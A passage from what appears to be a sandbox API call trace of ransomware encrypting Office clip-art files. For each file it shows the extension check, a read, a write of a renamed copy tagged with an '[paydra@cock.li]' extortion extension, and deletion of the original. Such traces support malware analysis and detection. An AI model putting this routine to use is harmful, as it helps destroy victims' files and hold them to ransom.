Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0050.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.850] lstrlenW (lpString=".doc") returned 4 [0050.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.851] lstrlenW (lpString=".docx") returned 5 [0050.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.851] lstrlenW (lpString=".pdf") returned 4 [0050.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.852] lstrlenW (lpString=".xls") returned 4 [0050.854] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.854] lstrlenW (lpString=".xlsx") returned 5 [0050.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.854] lstrlenW (lpString=".ppt") returned 4 [0050.855] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.857] lstrlenW (lpString=".zip") returned 4 [0050.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.857] lstrlenW (lpString=".rar") returned 4 [0050.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.858] lstrlenW (lpString=".bz2") returned 4 [0050.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.859] lstrlenW (lpString=".7z") returned 3 [0050.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.861] lstrlenW (lpString=".dbf") returned 4 [0050.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.862] lstrlenW (lpString=".1cd") returned 4 [0050.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0050.863] lstrlenW (lpString=".jpg") returned 4 [0050.863] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.867] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6684) returned 1 [0050.867] CloseHandle (hObject=0x1b8) returned 1 [0050.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0050.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0050.874] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.874] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.878] GetLastError () returned 0x0 [0050.879] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0050.893] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0050.905] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.906] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.908] SetEndOfFile (hFile=0x228) returned 1 [0050.909] CloseHandle (hObject=0x228) returned 1 [0050.912] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.912] SetEndOfFile (hFile=0x1b8) returned 1 [0050.913] CloseHandle (hObject=0x1b8) returned 1 [0050.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0050.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.913] lstrlenW (lpString=".doc") returned 4 [0050.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.913] lstrlenW (lpString=".docx") returned 5 [0050.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.913] lstrlenW (lpString=".pdf") returned 4 [0050.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.914] lstrlenW (lpString=".xls") returned 4 [0050.914] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.914] lstrlenW (lpString=".xlsx") returned 5 [0050.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.914] lstrlenW (lpString=".ppt") returned 4 [0050.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.914] lstrlenW (lpString=".zip") returned 4 [0050.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.914] lstrlenW (lpString=".rar") returned 4 [0050.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.914] lstrlenW (lpString=".bz2") returned 4 [0050.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.914] lstrlenW (lpString=".7z") returned 3 [0050.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.914] lstrlenW (lpString=".dbf") returned 4 [0050.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.914] lstrlenW (lpString=".1cd") returned 4 [0050.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0050.914] lstrlenW (lpString=".jpg") returned 4 [0050.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.919] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3251) returned 1 [0050.919] CloseHandle (hObject=0x1b8) returned 1 [0050.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0050.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0050.926] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.926] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.942] GetLastError () returned 0x0 [0050.942] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xcb3, lpOverlapped=0x0) returned 1 [0050.989] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0050.991] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.991] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.991] SetEndOfFile (hFile=0x228) returned 1 [0050.991] CloseHandle (hObject=0x228) returned 1 [0050.991] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.991] SetEndOfFile (hFile=0x1b8) returned 1 [0050.992] CloseHandle (hObject=0x1b8) returned 1 [0050.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0050.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.992] lstrlenW (lpString=".doc") returned 4 [0050.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.992] lstrlenW (lpString=".docx") returned 5 [0050.992] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.992] lstrlenW (lpString=".pdf") returned 4 [0050.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.992] lstrlenW (lpString=".xls") returned 4 [0050.992] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.992] lstrlenW (lpString=".xlsx") returned 5 [0050.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.992] lstrlenW (lpString=".ppt") returned 4 [0050.992] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.993] lstrlenW (lpString=".zip") returned 4 [0050.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.993] lstrlenW (lpString=".rar") returned 4 [0050.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.993] lstrlenW (lpString=".bz2") returned 4 [0050.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.993] lstrlenW (lpString=".7z") returned 3 [0050.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.993] lstrlenW (lpString=".dbf") returned 4 [0050.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.993] lstrlenW (lpString=".1cd") returned 4 [0050.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0050.993] lstrlenW (lpString=".jpg") returned 4 [0050.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.993] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=8097) returned 1 [0050.993] CloseHandle (hObject=0x1b8) returned 1 [0050.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0050.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0050.994] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.994] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.994] GetLastError () returned 0x0 [0050.994] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0050.995] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0050.996] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.997] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.997] SetEndOfFile (hFile=0x228) returned 1 [0050.997] CloseHandle (hObject=0x228) returned 1 [0050.997] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.997] SetEndOfFile (hFile=0x1b8) returned 1 [0050.998] CloseHandle (hObject=0x1b8) returned 1 [0050.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.998] lstrlenW (lpString=".doc") returned 4 [0050.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.998] lstrlenW (lpString=".docx") returned 5 [0050.998] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.998] lstrlenW (lpString=".pdf") returned 4 [0050.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.998] lstrlenW (lpString=".xls") returned 4 [0050.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.998] lstrlenW (lpString=".xlsx") returned 5 [0050.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.998] lstrlenW (lpString=".ppt") returned 4 [0050.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.998] lstrlenW (lpString=".zip") returned 4 [0050.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".rar") returned 4 [0050.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".bz2") returned 4 [0050.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString=".7z") returned 3 [0050.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.999] lstrlenW (lpString=".dbf") returned 4 [0050.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.999] lstrlenW (lpString=".1cd") returned 4 [0050.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0050.999] lstrlenW (lpString=".jpg") returned 4 [0050.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.999] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=7686) returned 1 [0050.999] CloseHandle (hObject=0x1b8) returned 1 [0050.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0050.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.000] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.000] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0051.000] GetLastError () returned 0x0 [0051.000] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1e06, lpOverlapped=0x0) returned 1 [0051.001] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0051.003] ReadFile (in: hFile=0x1b8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.003] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.003] SetEndOfFile (hFile=0x228) returned 1 [0051.003] CloseHandle (hObject=0x228) returned 1 [0051.003] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.003] SetEndOfFile (hFile=0x1b8) returned 1 [0051.004] CloseHandle (hObject=0x1b8) returned 1 [0051.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0051.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.004] lstrlenW (lpString=".doc") returned 4 [0051.004] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.004] lstrlenW (lpString=".docx") returned 5 [0051.004] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.004] lstrlenW (lpString=".pdf") returned 4 [0051.004] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.004] lstrlenW (lpString=".xls") returned 4 [0051.004] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.004] lstrlenW (lpString=".xlsx") returned 5 [0051.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.004] lstrlenW (lpString=".ppt") returned 4 [0051.005] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.005] lstrlenW (lpString=".zip") returned 4 [0051.005] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".rar") returned 4 [0051.005] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.005] lstrlenW (lpString=".bz2") returned 4 [0051.005] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.005] lstrlenW (lpString=".7z") returned 3 [0051.005] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.005] lstrlenW (lpString=".dbf") returned 4 [0051.005] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.005] lstrlenW (lpString=".1cd") returned 4 [0051.005] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0051.005] lstrlenW (lpString=".jpg") returned 4 [0051.005] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.005] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11891) returned 1 [0051.005] CloseHandle (hObject=0x1b8) returned 1 [0051.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0051.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 